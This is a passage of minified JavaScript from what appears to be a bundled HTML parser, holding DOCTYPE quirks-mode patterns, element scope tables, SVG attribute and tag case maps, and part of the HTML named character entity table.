Associates\/\/DTD HTML Extended 1\.0\/\/|^-\/\/O'Reilly and Associates\/\/DTD HTML Extended Relaxed 1\.0\/\/|^-\/\/SoftQuad Software\/\/DTD HoTMetaL PRO 6\.0::19990601::extensions to HTML 4\.0\/\/|^-\/\/SoftQuad\/\/DTD HoTMetaL PRO 4\.0::19971010::extensions to HTML 4\.0\/\/|^-\/\/Spyglass\/\/DTD HTML 2\.0 Extended\/\/|^-\/\/SQ\/\/DTD HTML 2\.0 HoTMetaL \+ extensions\/\/|^-\/\/Sun Microsystems Corp\.\/\/DTD HotJava HTML\/\/|^-\/\/Sun Microsystems Corp\.\/\/DTD HotJava Strict HTML\/\/|^-\/\/W3C\/\/DTD HTML 3 1995-03-24\/\/|^-\/\/W3C\/\/DTD HTML 3\.2 Draft\/\/|^-\/\/W3C\/\/DTD HTML 3\.2 Final\/\/|^-\/\/W3C\/\/DTD HTML 3\.2\/\/|^-\/\/W3C\/\/DTD HTML 3\.2S Draft\/\/|^-\/\/W3C\/\/DTD HTML 4\.0 Frameset\/\/|^-\/\/W3C\/\/DTD HTML 4\.0 Transitional\/\/|^-\/\/W3C\/\/DTD HTML Experimental 19960712\/\/|^-\/\/W3C\/\/DTD HTML Experimental 970421\/\/|^-\/\/W3C\/\/DTD W3 HTML\/\/|^-\/\/W3O\/\/DTD W3 HTML 3\.0\/\/|^-\/\/WebTechs\/\/DTD Mozilla HTML 2\.0\/\/|^-\/\/WebTechs\/\/DTD Mozilla HTML\/\//i,Av2="http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd",TYK=/^-\/\/W3C\/\/DTD HTML 4\.01 Frameset\/\/|^-\/\/W3C\/\/DTD HTML 4\.01 Transitional\/\//i,Kv2=/^-\/\/W3C\/\/DTD XHTML 1\.0 Frameset\/\/|^-\/\/W3C\/\/DTD XHTML 1\.0 Transitional\/\//i,z9A=Object.create(null);z9A[Aq.HTML]={__proto__:null,address:!0,applet:!0,area:!0,article:!0,aside:!0,base:!0,basefont:!0,bgsound:!0,blockquote:!0,body:!0,br:!0,button:!0,caption:!0,center:!0,col:!0,colgroup:!0,dd:!0,details:!0,dir:!0,div:!0,dl:!0,dt:!0,embed:!0,fieldset:!0,figcaption:!0,figure:!0,footer:!0,form:!0,frame:!0,frameset:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,head:!0,header:!0,hgroup:!0,hr:!0,html:!0,iframe:!0,img:!0,input:!0,li:!0,link:!0,listing:!0,main:!0,marquee:!0,menu:!0,meta:!0,nav:!0,noembed:!0,noframes:!0,noscript:!0,object:!0,ol:!0,p:!0,param:!0,plaintext:!0,pre:!0,script:!0,section:!0,select:!0,source:!0,style:!0,summary:!0,table:!0,tbody:!0,td:!0,template:!0,textarea:!0,tfoot:!0,th:!0,thead:!0,title:!0,tr:!0,track:!0,ul:!0,wbr:!0,xmp:!0};z9A[Aq.SVG]={__proto__:null,foreignObject:!0,desc:!0,title:!0};z9A[Aq.MATHML]={__proto__:null,mi:!0,mo:!0,mn:!0,ms:!0,mtext:!0,"annotation-xml":!0};var Vb6=Object.create(null);Vb6[Aq.HTML]={__proto__:null,address:!0,div:!0,p:!0};var mYK=Object.create(null);mYK[Aq.HTML]={__proto__:null,dd:!0,dt:!0};var nMA=Object.create(null);nMA[Aq.HTML]={__proto__:null,table:!0,thead:!0,tbody:!0,tfoot:!0,tr:!0};var gYK=Object.create(null);gYK[Aq.HTML]={__proto__:null,dd:!0,dt:!0,li:!0,menuitem:!0,optgroup:!0,option:!0,p:!0,rb:!0,rp:!0,rt:!0,rtc:!0};var FYK=Object.create(null);FYK[Aq.HTML]={__proto__:null,caption:!0,colgroup:!0,dd:!0,dt:!0,li:!0,optgroup:!0,option:!0,p:!0,rb:!0,rp:!0,rt:!0,rtc:!0,tbody:!0,td:!0,tfoot:!0,th:!0,thead:!0,tr:!0};var Jf1=Object.create(null);Jf1[Aq.HTML]={__proto__:null,table:!0,template:!0,html:!0};var Of1=Object.create(null);Of1[Aq.HTML]={__proto__:null,tbody:!0,tfoot:!0,thead:!0,template:!0,html:!0};var fb6=Object.create(null);fb6[Aq.HTML]={__proto__:null,tr:!0,template:!0,html:!0};var QYK=Object.create(null);QYK[Aq.HTML]={__proto__:null,button:!0,fieldset:!0,input:!0,keygen:!0,object:!0,output:!0,select:!0,textarea:!0,img:!0};var Dm=Object.create(null);Dm[Aq.HTML]={__proto__:null,applet:!0,caption:!0,html:!0,table:!0,td:!0,th:!0,marquee:!0,object:!0,template:!0};Dm[Aq.MATHML]={__proto__:null,mi:!0,mo:!0,mn:!0,ms:!0,mtext:!0,"annotation-xml":!0};Dm[Aq.SVG]={__proto__:null,foreignObject:!0,desc:!0,title:!0};var Xf1=Object.create(Dm);Xf1[Aq.HTML]=Object.create(Dm[Aq.HTML]);Xf1[Aq.HTML].ol=!0;Xf1[Aq.HTML].ul=!0;var Nb6=Object.create(Dm);Nb6[Aq.HTML]=Object.create(Dm[Aq.HTML]);Nb6[Aq.HTML].button=!0;var UYK=Object.create(null);UYK[Aq.HTML]={__proto__:null,html:!0,table:!0,template:!0};var qv2=Object.create(null);qv2[Aq.HTML]={__proto__:null,optgroup:!0,option:!0};var pYK=Object.create(null);pYK[Aq.MATHML]={__proto__:null,mi:!0,mo:!0,mn:!0,ms:!0,mtext:!0};var dYK=Object.create(null);dYK[Aq.SVG]={__proto__:null,foreignObject:!0,desc:!0,title:!0};var vYK={__proto__:null,"xlink:actuate":Aq.XLINK,"xlink:arcrole":Aq.XLINK,"xlink:href":Aq.XLINK,"xlink:role":Aq.XLINK,"xlink:show":Aq.XLINK,"xlink:title":Aq.XLINK,"xlink:type":Aq.XLINK,"xml:base":Aq.XML,"xml:lang":Aq.XML,"xml:space":Aq.XML,xmlns:Aq.XMLNS,"xmlns:xlink":Aq.XMLNS},EYK={__proto__:null,attributename:"attributeName",attributetype:"attributeType",basefrequency:"baseFrequency",baseprofile:"baseProfile",calcmode:"calcMode",clippathunits:"clipPathUnits",diffuseconstant:"diffuseConstant",edgemode:"edgeMode",filterunits:"filterUnits",glyphref:"glyphRef",gradienttransform:"gradientTransform",gradientunits:"gradientUnits",kernelmatrix:"kernelMatrix",kernelunitlength:"kernelUnitLength",keypoints:"keyPoints",keysplines:"keySplines",keytimes:"keyTimes",lengthadjust:"lengthAdjust",limitingconeangle:"limitingConeAngle",markerheight:"markerHeight",markerunits:"markerUnits",markerwidth:"markerWidth",maskcontentunits:"maskContentUnits",maskunits:"maskUnits",numoctaves:"numOctaves",pathlength:"pathLength",patterncontentunits:"patternContentUnits",patterntransform:"patternTransform",patternunits:"patternUnits",pointsatx:"pointsAtX",pointsaty:"pointsAtY",pointsatz:"pointsAtZ",preservealpha:"preserveAlpha",preserveaspectratio:"preserveAspectRatio",primitiveunits:"primitiveUnits",refx:"refX",refy:"refY",repeatcount:"repeatCount",repeatdur:"repeatDur",requiredextensions:"requiredExtensions",requiredfeatures:"requiredFeatures",specularconstant:"specularConstant",specularexponent:"specularExponent",spreadmethod:"spreadMethod",startoffset:"startOffset",stddeviation:"stdDeviation",stitchtiles:"stitchTiles",surfacescale:"surfaceScale",systemlanguage:"systemLanguage",tablevalues:"tableValues",targetx:"targetX",targety:"targetY",textlength:"textLength",viewbox:"viewBox",viewtarget:"viewTarget",xchannelselector:"xChannelSelector",ychannelselector:"yChannelSelector",zoomandpan:"zoomAndPan"},kYK={__proto__:null,altglyph:"altGlyph",altglyphdef:"altGlyphDef",altglyphitem:"altGlyphItem",animatecolor:"animateColor",animatemotion:"animateMotion",animatetransform:"animateTransform",clippath:"clipPath",feblend:"feBlend",fecolormatrix:"feColorMatrix",fecomponenttransfer:"feComponentTransfer",fecomposite:"feComposite",feconvolvematrix:"feConvolveMatrix",fediffuselighting:"feDiffuseLighting",fedisplacementmap:"feDisplacementMap",fedistantlight:"feDistantLight",feflood:"feFlood",fefunca:"feFuncA",fefuncb:"feFuncB",fefuncg:"feFuncG",fefuncr:"feFuncR",fegaussianblur:"feGaussianBlur",feimage:"feImage",femerge:"feMerge",femergenode:"feMergeNode",femorphology:"feMorphology",feoffset:"feOffset",fepointlight:"fePointLight",fespecularlighting:"feSpecularLighting",fespotlight:"feSpotLight",fetile:"feTile",feturbulence:"feTurbulence",foreignobject:"foreignObject",glyphref:"glyphRef",lineargradient:"linearGradient",radialgradient:"radialGradient",textpath:"textPath"},CYK={__proto__:null,0:65533,128:8364,130:8218,131:402,132:8222,133:8230,134:8224,135:8225,136:710,137:8240,138:352,139:8249,140:338,142:381,145:8216,146:8217,147:8220,148:8221,149:8226,150:8211,151:8212,152:732,153:8482,154:353,155:8250,156:339,158:382,159:376},Yv2={__proto__:null,AElig:198,"AElig;":198,AMP:38,"AMP;":38,Aacute:193,"Aacute;":193,"Abreve;":258,Acirc:194,"Acirc;":194,"Acy;":1040,"Afr;":[55349,56580],Agrave:192,"Agrave;":192,"Alpha;":913,"Amacr;":256,"And;":10835,"Aogon;":260,"Aopf;":[55349,56632],"ApplyFunction;":8289,Aring:197,"Aring;":197,"Ascr;":[55349,56476],"Assign;":8788,Atilde:195,"Atilde;":195,Auml:196,"Auml;":196,"Backslash;":8726,"Barv;":10983,"Barwed;":8966,"Bcy;":1041,"Because;":8757,"Bernoullis;":8492,"Beta;":914,"Bfr;":[55349,56581],"Bopf;":[55349,56633],"Breve;":728,"Bscr;":8492,"Bumpeq;":8782,"CHcy;":1063,COPY:169,"COPY;":169,"Cacute;":262,"Cap;":8914,"CapitalDifferentialD;":8517,"Cayleys;":8493,"Ccaron;":268,Ccedil:199,"Ccedil;":199,"Ccirc;":264,"Cconint;":8752,"Cdot;":266,"Cedilla;":184,"CenterDot;":183,"Cfr;":8493,"Chi;":935,"CircleDot;":8857,"CircleMinus;":8854,"CirclePlus;":8853,"CircleTimes;":8855,"ClockwiseContourIntegral;":8754,"CloseCurlyDoubleQuote;":8221,"CloseCurlyQuote;":8217,"Colon;":8759,"Colone;":10868,"Congruent;":8801,"Conint;":8751,"ContourIntegral;":8750,"Copf;":8450,"Coproduct;":8720,"CounterClockwiseContourIntegral;":8755,"Cross;":10799,"Cscr;":[55349,56478],"Cup;":8915,"CupCap;":8781,"DD;":8517,"DDotrahd;":10513,"DJcy;":1026,"DScy;":1029,"DZcy;":1039,"Dagger;":8225,"Darr;":8609,"Dashv;":10980,"Dcaron;":270,"Dcy;":1044,"Del;":8711,"Delta;":916,"Dfr;":[55349,56583],"DiacriticalAcute;":180,"DiacriticalDot;":729,"DiacriticalDoubleAcute;":733,"DiacriticalGrave;":96,"DiacriticalTilde;":732,"Diamond;":8900,"DifferentialD;":8518,"Dopf;":[55349,56635],"Dot;":168,"DotDot;":8412,"DotEqual;":8784,"DoubleContourIntegral;":8751,"DoubleDot;":168,"DoubleDownArrow;":8659,"DoubleLeftArrow;":8656,"DoubleLeftRightArrow;":8660,"DoubleLeftTee;":10980,"DoubleLongLeftArrow;":10232,"DoubleLongLeftRightArrow;":10234,"DoubleLongRightArrow;":10233,"DoubleRightArrow;":8658,"DoubleRightTee;":8872,"DoubleUpArrow;":8657,"DoubleUpDownArrow;":8661,"DoubleVerticalBar;":8741,"DownArrow;":8595,"DownArrowBar;":10515,"DownArrowUpArrow;":8693,"DownBreve;":785,"DownLeftRightVector;":10576,"DownLeftTeeVector;":10590,"DownLeftVector;":8637,"DownLeftVectorBar;":10582,"DownRightTeeVector;":10591,"DownRightVector;":8641,"DownRightVectorBar;":10583,"DownTee;":8868,"DownTeeArrow;":8615,"Downarrow;":8659,"Dscr;":[55349,56479],"Dstrok;":272,"ENG;":330,ETH:208,"ETH;":208,Eacute:201,"Eacute;":201,"Ecaron;":282,Ecirc:202,"Ecirc;":202,"Ecy;":1069,"Edot;":278,"Efr;":[55349,56584],Egrave:200,"Egrave;":200,"Element;":8712,"Emacr;":274,"EmptySmallSquare;":9723,"EmptyVerySmallSquare;":9643,"Eogon;":280,"Eopf;":[55349,56636],"Epsilon;":917,"Equal;":10869,"EqualTilde;":8770,"Equilibrium;":8652,"Escr;":8496,"Esim;":10867,"Eta;":919,Euml:203,"Euml;":203,"Exists;":8707,"ExponentialE;":8519,"Fcy;":1060,"Ffr;":[55349,56585],"FilledSmallSquare;":9724,"FilledVerySmallSquare;":9642,"Fopf;":[55349,56637],"ForAll;":8704,"Fouriertrf;":8497,"Fscr;":8497,"GJcy;":1027,GT:62,"GT;":62,"Gamma;":915,"Gammad;":988,"Gbreve;":286,"Gcedil;":290,"Gcirc;":284,"Gcy;":1043,"Gdot;":288,"Gfr;":[55349,56586],"Gg;":8921,"Gopf;":[55349,56638],"GreaterEqual;":8805,"GreaterEqualLess;":8923,"GreaterFullEqual;":8807,"GreaterGreater;":10914,"GreaterLess;":8823,"GreaterSlantEqual;":10878,"GreaterTilde;":8819,"Gscr;":[55349,56482],"Gt;":8811,"HARDcy;":1066,"Hacek;":711,"Hat;":94,"Hcirc;":292,"Hfr;":8460,"HilbertSpace;":8459,"Hopf;":8461,"HorizontalLine;":9472,"Hscr;":8459,"Hstrok;":294,"HumpDownHump;":8782,"HumpEqual;":8783,"IEcy;":1045,"IJlig;":306,"IOcy;":1025,Iacute:205,"Iacute;":205,Icirc:206,"Icirc;":206,"Icy;":1048,"Idot;":304,"Ifr;":8465,Igrave:204,"Igrave;":204,"Im;":8465,"Imacr;":298,"ImaginaryI;":8520,"Implies;":8658,"Int;":8748,"Integral;":8747,"Intersection;":8898,"InvisibleComma;":8291,"InvisibleTimes;":8290,"Iogon;":302,"Iopf;":[55349,56640],"Iota;":921,"Iscr;":8464,"Itilde;":296,"Iukcy;":1030,Iuml:207,"Iuml;":207,"Jcirc;":308,"Jcy;":1049,"Jfr;":[55349,56589],"Jopf;":[55349,56641],"Jscr;":[55349,56485],"Jsercy;":1032,"Jukcy;":1028,"KHcy;":1061,"KJcy;":1036,"Kappa;":922,"Kcedil;":310,"Kcy;":1050,"Kfr;":[55349,56590],"Kopf;":[55349,56642],"Kscr;":[55349,56486],"LJcy;":1033,LT:60,"LT;":60,"Lacute;":313,"Lambda;":923,"Lang;":10218,"Laplacetrf;":8466,"Larr;":8606,"Lcaron;":317,"Lcedil;":315,"Lcy;":1051,"LeftAngleBracket;":10216,"LeftArrow;":8592,"LeftArrowBar;":8676,"LeftArrowRightArrow;":8646,"LeftCeiling;":8968,"LeftDoubleBracket;":10214,"LeftDownTeeVector;":10593,"LeftDownVector;":8643,"LeftDownVectorBar;":10585,"LeftFloor;":8970,"LeftRightArrow;":8596,"LeftRightVector;":10574,"LeftTee;":8867,"LeftTeeArrow;":8612,"LeftTeeVector;":10586,"LeftTriangle;":8882,"LeftTriangleBar;":10703,"LeftTriangleEqual;":8884,"LeftUpDownVector;":10577,"LeftUpTeeVector;":10592,"LeftUpVector;":8639,"LeftUpVectorBar;":10584,"LeftVector;":8636,"LeftVectorBar;":10578,"Leftarrow;":8656,"Leftrightarrow;":8660,"LessEqualGreater;":8922,"LessFullEqual;":8806,"LessGreater;":8822,"LessLess;":10913,"LessSlantEqual;":10877,"LessTilde;":8818,"Lfr;":[55349,56591],"Ll;":8920,"Lleftarrow;":8666,"Lmidot;":319,"LongLeftArrow;":10229,"LongLeftRightArrow;":10231,"LongRightArrow;":10230,"Longleftarrow;":10232,"Longleftrightarrow;":10234,"Longrightarrow;":10233,"Lopf;":[55349,56643],"LowerLeftArrow;":8601,"LowerRightArrow;":8600,"Lscr;":8466,"Lsh;":8624,"Lstrok;":321,"Lt;":8810,"Map;":10501,"Mcy;":1052,"MediumSpace;":8287,"Mellintrf;":8499,"Mfr;":[55349,56592],"MinusPlus;":8723,"Mopf;":[55349,56644],"Mscr;":8499,"Mu;":924,"NJcy;":1034,"Nacute;":323,"Ncaron;":327,"Ncedil;":325,"Ncy;":1053,"NegativeMediumSpace;":8203,"NegativeThickSpace;":8203,"NegativeThinSpace;":8203,"NegativeVeryThinSpace;":8203,"NestedGreaterGreater;":8811,"NestedLessLess;":8810,"NewLine;":10,"Nfr;":[55349,56593],"NoBreak;":8288,"NonBreakingSpace;":160,"Nopf;":8469,"Not;":10988,"NotCongruent;":8802,"NotCupCap;":8813,"NotDoubleVerticalBar;":8742,"NotElement;":8713,"NotEqual;":8800,"NotEqualTilde;":[8770,824],"NotExists;":8708,"NotGreater;":8815,"NotGreaterEqual;":8817,"NotGreaterFullEqual;":[8807,824],"NotGreaterGreater;":[8811,824],"NotGreaterLess;":8825,"NotGreaterSlantEqual;":[10878,824],"NotGreaterTilde;":8821,"NotHumpDownHump;":[8782,824],"NotHumpEqual;":[8783,824],"NotLeftTriangle;":8938,"NotLeftTriangleBar;":[10703,824],"NotLeftTriangleEqual;":8940,"NotLess;":8814,"NotLessEqual;":8816,"NotLessGreater;":8824,"NotLessLess;":[8810,824],"NotLessSlantEqual;":[10877,824],"NotLessTilde;":8820,"NotNestedGreaterGreater;":[10914,824],"NotNestedLessLess;":[10913,824],"NotPrecedes;":8832,"NotPrecedesEqual;":[10927,824],"NotPrecedesSlantEqual;":8928,"NotReverseElement;":8716,"NotRightTriangle;":8939,"NotRightTriangleBar;":[10704,824],"NotRightTriangleEqual;":8941,"NotSquareSubset;":[8847,824],"NotSquareSubsetEqual;":8930,"NotSquareSuperset;":[8848,824],"NotSquareSupersetEqual;":8931,"NotSubset;":[8834,8402],"NotSubsetEqual;":8840,"NotSucceeds;":8833,"NotSucceedsEqual;":[10928,824],"NotSucceedsSlantEqual;":8929,"NotSucceedsTilde;":[8831,824],"NotSuperset;":[8835,8402],"NotSupersetEqual;":8841,"NotTilde;":8769,"NotTildeEqual;":8772,"NotTildeFullEqual;":8775,"NotTildeTilde;":8777,"NotVerticalBar;":8740,"Nscr;":[55349,56489],Ntilde:209,"Ntilde;":209,"Nu;":925,"OElig;":338,Oacute:211,"Oacute;":211,Ocirc:212,"Ocirc;":212,"Ocy;":1054,"Odblac;":336,"Ofr;":[55349,56594],Ograve:210,"Ograve;":210,"Omacr;":332,"Omega;":937,"Omicron;":927,"Oopf;":[55349,56646],"OpenCurlyDoubleQuote;":8220,"OpenCurlyQuote;":8216,"Or;":10836,"Oscr;":[55349,56490],Oslash:216,"Oslash;":216,Otilde:213,"Otilde;":213,"Otimes;":10807,Ouml:214,"Ouml;":214,"OverBar;":8254,"OverBrace;":9182,"OverBracket;":9140,"OverParenthesis;":9180,"PartialD;":8706,"Pcy;":1055,"Pfr;":[55349,56595],"Phi;":934,"Pi;":928,"PlusMinus;":177,"Poincareplane;":8460,"Popf;":8473,"Pr;":10939,"Precedes;":8826,"PrecedesEqual;":10927,"PrecedesSlantEqual;":8828,"PrecedesTilde;":8830,"Prime;":8243,"Product;":8719,"Proportion;":8759,"Proportional;":8733,"Pscr;":[55349,56491],"Psi;":936,QUOT:34,"QUOT;":34,"Qfr;":[55349,56596],"Qopf;":8474,"Qscr;":[55349,56492],"RBarr;":10512,REG:174,"REG;":174,"Racute;":340,"Rang;":10219,"Rarr;":8608,"Rarrtl;":10518,"Rcaron;":344,"Rcedil;":342,"Rcy;":1056,"Re;":8476,"ReverseElement;":8715,"ReverseEquilibrium;":8651,"ReverseUpEquilibrium;":10607,"Rfr;":8476,"Rho;":929,"RightAngleBracket;":10217,"RightArrow;":8594,"RightArrowBar;":8677,"RightArrowLeftArrow;":8644,"RightCeiling;":8969,"RightDoubleBracket;":10215,"RightDownTeeVector;":10589,"RightDownVector;":8642,"RightDownVectorBar;":10581,"RightFloor;":8971,"RightTee;":8866,"RightTeeArrow;":8614,"RightTeeVector;":10587,"RightTriangle;":8883,"RightTriangleBar;":10704,"RightTriangleEqual;":8885,"RightUpDownVector;":10575,"RightUpTeeVector;":10588,"RightUpVector;":8638,"RightUpVectorBar;":10580,"RightVector;":8640,"RightVectorBar;":10579,"Rightarrow;":8658,"Ropf;":8477,"RoundImplies;":10608,"Rrightarrow;":8667,"Rscr;":8475,"Rsh;":8625,"RuleDelayed;":10740,"SHCHcy;":1065,"SHcy;":1064,"SOFTcy;":1068,"Sacute;":346,"Sc;":10940,"Scaron;":352,"Scedil;":350,"Scirc;":348,"Scy;":1057,"Sfr;":[55349,56598],"ShortDownArrow;":8595,"ShortLeftArrow;":8592,"ShortRightArrow;":8594,"ShortUpArrow;":8593,"Sigma;":931,"SmallCircle;":8728,"Sopf;":[55349,56650],"Sqrt;":8730,"Square;":9633,"SquareIntersection;":8851,"SquareSubset;":8847,"SquareSubsetEqual;":8849,"SquareSuperset;":8848,"SquareSupersetEqual;":8850,"SquareUnion;":8852,"Sscr;":[55349,56494],"Star;":8902,"Sub;":8912,"Subset;":8912,"SubsetEqual;":8838,"Succeeds;":8827,"SucceedsEqual;":10928,"SucceedsSlantEqual;":8829,"SucceedsTilde;":8831,"SuchThat;":8715,"Sum;":8721,"Sup;":8913,"Superset;":8835,"SupersetEqual;":8839,"Supset;":8913,THORN:222,"THORN;":222,"TRADE;":8482,"TSHcy;":1035,"TScy;":1062,"Tab;":9,"Tau;":932,"Tcaron;":356,"Tcedil;":354,"Tcy;":1058,"Tfr;":[55349,56599],"Therefore;":8756,"Theta;":920,"ThickSpace;":[8287,8202],"ThinSpace;":8201,"Tilde;":8764,"TildeEqual;":8771,"TildeFullEqual;":8773,"TildeTilde;":8776,"Topf;":[55349,56651],"TripleDot;":8411,"Tscr;":[55349,56495],"Tstrok;":358,Uacute:218,"Uacute;":218,"Uarr;":8607,"Uarrocir;":10569,"Ubrcy;":1038,"Ubreve;":364,Ucirc:219,"Ucirc;":219,"Ucy;":1059,"Udblac;":368,"Ufr;":[55349,56600],Ugrave:217,"Ugrave;":217,"Umacr;":362,"UnderBar;":95,"UnderBrace;":9183,"UnderBracket;":9141,"UnderParenthesis;":9181,"Union;":8899,"UnionPlus;":8846,"Uogon;":370,"Uopf;":[55349,56652],"UpArrow;":8593,"UpArrowBar;":10514,"UpArrowDownArrow;":8645,"UpDownArrow;":8597,"UpEquilibrium;":10606,"UpTee;":8869,"UpTeeArrow;":8613,"Uparrow;":8657,"Updownarrow;":8661,"UpperLeftArrow;":8598,"UpperRightArrow;":8599,"Upsi;":978,"Upsilon;":933,"Uring;":366,"Uscr;":[55349,56496],"Utilde;":360,Uuml:220,"Uuml;":220,"VDash;":8875,"Vbar;":10987,"Vcy;":1042,"Vdash;":8873,"Vdashl;":10982,"Vee;":8897,"Verbar;":8214,"Vert;":8214,"VerticalBar;":8739,"VerticalLine;":124,"VerticalSeparator;":10072,"VerticalTilde;":8768,"VeryThinSpace;":8202,"Vfr;":[55349,56601],"Vopf;":[55349,56653],"Vscr;":[55349,56497],"Vvdash;":8874,"Wcirc;":372,"Wedge;":8896,"Wfr;":[55349,56602],"Wopf;":[55349,56654],"Wscr;":[55349,56498],"Xfr;":[55349,56603],"Xi;":926,"Xopf;":[55349,56655],"Xscr;":[55349,56499],"YAcy;":1071,"YIcy;":1031,"YUcy;":1070,Yacute:221,"Yacute;":221,"Ycirc;":374,"Ycy;":1067,"Yfr;":[55349,56604],"Yopf;":[55349,56656],"Yscr;":[55349,56500],"Yuml;":376,"ZHcy;":1046,"Zacute;":377,"Zcaron;":381,"Zcy;":1047,"Zdot;":379,"ZeroWidthSpace;":8203,"Zeta;":918,"Zfr;":8488,"Zopf;":8484,"Zscr;":[55349,56501],aacute:225,"aacute;":225,"abreve;":259,"ac;":8766,"acE;":[8766,819],"acd;":8767,acirc:226,"acirc;":226,acute:180,"acute;":180,"acy;":1072,aelig:230,"aelig;":230,"af;":8289,"afr;":[55349,56606],agrave:224,"agrave;":224,"alefsym;":8501,"aleph;":8501,"alpha;":945,"amacr;":257,"amalg;":10815,amp:38,"amp;":38,"and;":8743,"andand;":10837,"andd;":10844,"andslope;":10840,"andv;":10842,"ang;":8736,"ange;":10660,"angle;":8736,"angmsd;":8737,"angmsdaa;":10664,"angmsdab;":10665,"angmsdac;":10666,"angmsdad;":10667,"angmsdae;":10668,"angmsdaf;":10669,"angmsdag;":10670,"angmsdah;":10671,"angrt;":8735,"angrtvb;":8894,"angrtvbd;":10653,"angsph;":8738,"angst;":197,"angzarr;":9084,"aogon;":261,"aopf;":[55349,56658],"ap;":8776,"apE;":10864,"apacir;":10863,"ape;":8778,"apid;":8779,"apos;":39,"approx;":8776,"approxeq;":8778,aring:229,"aring;":229,"ascr;":[55349,56502],"ast;":42,"asymp;":8776,"asympeq;":8781,atilde:227,"atilde;":227,auml:228,"auml;":228,"awconint;":8755,"awint;":10769,"bNot;":10989,"backcong;":8780,"backepsilon;":1014,"backprime;":8245,"backsim;":8765,"backsimeq;":8909,"barvee;":8893,"barwed;":8965,"barwedge;":8965,"bbrk;":9141,"bbrktbrk;":9142,"bcong;":8780,"bcy;":1073,"bdquo;":8222,"becaus;":8757,"because;":8757,"bemptyv;":10672,"bepsi;":1014,"bernou;":8492,"beta;":946,"beth;":8502,"between;":8812,"bfr;":[55349,56607],"bigcap;":8898,"bigcirc;":9711,"bigcup;":8899,"bigodot;":10752,"bigoplus;":10753,"bigotimes;":10754,"bigsqcup;":10758,"bigstar;":9733,"bigtriangledown;":9661,"bigtriangleup;":9651,"biguplus;":10756,"bigvee;":8897,"bigwedge;":8896,"bkarow;":10509,"blacklozenge;":10731,"blacksquare;":9642,"blacktriangle;":9652,"blacktriangledown;":9662,"blacktriangleleft;":9666,"blacktriangleright;":9656,"blank;":9251,"blk12;":9618,"blk14;":9617,"blk34;":9619,"block;":9608,"bne;":[61,8421],"bnequiv;":[8801,8421],"bnot;":8976,"bopf;":[55349,56659],"bot;":8869,"bottom;":8869,"bowtie;":8904,"boxDL;":9559,"boxDR;":9556,"boxDl;":9558,"boxDr;":9555,"boxH;":9552,"boxHD;":9574,"boxHU;":9577,"boxHd;":9572,"boxHu;":9575,"boxUL;":9565,"boxUR;":9562,"boxUl;":9564,"boxUr;":9561,"boxV;":9553,"boxVH;":9580,"boxVL;":9571,"boxVR;":9568,"boxVh;":9579,"boxVl;":9570,"boxVr;":9567,"boxbox;":10697,"boxdL;":9557,"boxdR;":9554,"boxdl;":9488,"boxdr;":9484,"boxh;":9472,"boxhD;":9573,"boxhU;":9576,"boxhd;":9516,"boxhu;":9524,"boxminus;":8863,"boxplus;":8862,"boxtimes;":8864,"boxuL;":9563,"boxuR;":9560,"boxul;":9496,"boxur;":9492,"boxv;":9474,"boxvH;":9578,"boxvL;":9569,"boxvR;":9566,"boxvh;":9532,"boxvl;":9508,"boxvr;":9500,"bprime;":8245,"breve;":728,brvbar:166,"brvbar;":166,"bscr;":[55349,56503],"bsemi;":8271,"bsim;":8765,"bsime;":8909,"bsol;":92,"bsolb;":10693,"bsolhsub;":10184,"bull;":8226,"bullet;":8226,"bump;":8782,"bumpE;":10926,"bumpe;":8783,"bumpeq;":8783,"cacute;":263,"cap;":8745,"capand;":10820,"capbrcup;":10825,"capcap;":10827,"capcup;":10823,"capdot;":10816,"caps;":[8745,65024],"caret;":8257,"caron;":711,"ccaps;":10829,"ccaron;":269,ccedil:231,"ccedil;":231,"ccirc;":265,"ccups;":10828,"ccupssm;":10832,"cdot;":267,cedil:184,"cedil;":184,"cemptyv;":10674,cent:162,"cent;":162,"centerdot;":183,"cfr;":[55349,56608],"chcy;":1095,"check;":10003,"checkmark;":10003,"chi;":967,"cir;":9675,"cirE;":10691,"circ;":710,"circeq;":8791,"circlearrowleft;":8634,"circlearrowright;":8635,"circledR;":174,"circledS;":9416,"circledast;":8859,"circledcirc;":8858,"circleddash;":8861,"cire;":8791,"cirfnint;":10768,"cirmid;":10991,"cirscir;":10690,"clubs;":9827,"clubsuit;":9827,"colon;":58,"colone;":8788,"coloneq;":8788,"comma;":44,"commat;":64,"comp;":8705,"compfn;":8728,"complement;":8705,"complexes;":8450,"cong;":8773,"congdot;":10861,"conint;":8750,"copf;":[55349,56660],"coprod;":8720,copy:169,"copy;":169,"copysr;":8471,"crarr;":8629,"cross;":10007,"cscr;":[55349,56504],"csub;":10959,"csube;":10961,"csup;":10960,"csupe;":10962,"ctdot;":8943,"cudarrl;":10552,"cudarrr;":10549,"cuepr;":8926,"cuesc;":8927,"cularr;":8630,"cularrp;":10557,"cup;":8746,"cupbrcap;":10824,"cupcap;":10822,"cupcup;":10826,"cupdot;":8845,"cupor;":10821,"cups;":[8746,65024],"curarr;":8631,"curarrm;":10556,"curlyeqprec;":8926,"curlyeqsucc;":8927,"curlyvee;":8910,"curlywedge;":8911,curren:164,"curren;":164,"curvearrowleft;":8630,"curvearrowright;":8631,"cuvee;":8910,"cuwed;":8911,"cwconint;":8754,"cwint;":8753,"cylcty;":9005,"dArr;":8659,"dHar;":10597,"dagger;":8224,"daleth;":8504,"darr;":8595,"dash;":8208,"dashv;":8867,"dbkarow;":10511,"dblac;":733,"dcaron;":271,"dcy;":1076,"dd;":8518,"ddagger;":8225,"ddarr;":8650,"ddotseq;":10871,deg:176,"deg;":176,"delta;":948,"demptyv;":10673,"dfisht;":10623,"dfr;":[55349,56609],"dharl;":8643,"dharr;":8642,"diam;":8900,"diamond;":8900,"diamondsuit;":9830,"diams;":9830,"die;":168,"digamma;":989,"disin;":8946,"div;":247,divide:247,"divide;":247,"divideontimes;":8903,"divonx;":8903,"djcy;":1106,"dlcorn;":8990,"dlcrop;":8973,"dollar;":36,"dopf;":[55349,56661],"dot;":729,"doteq;":8784,"doteqdot;":8785,"dotminus;":8760,"dotplus;":8724,"dotsquare;":8865,"doublebarwedge;":8966,"downarrow;":8595,"downdownarrows;":8650,"downharpoonleft;":8643,"downharpoonright;":8642,"drbkarow;":10512,"drcorn;":8991,"drcrop;":8972,"dscr;":[55349,56505],"dscy;":1109,"dsol;":10742,"dstrok;":273,"dtdot;":8945,"dtri;":9663,"dtrif;":9662,"duarr;":8693,"duhar;":10607,"dwangle;":10662,"dz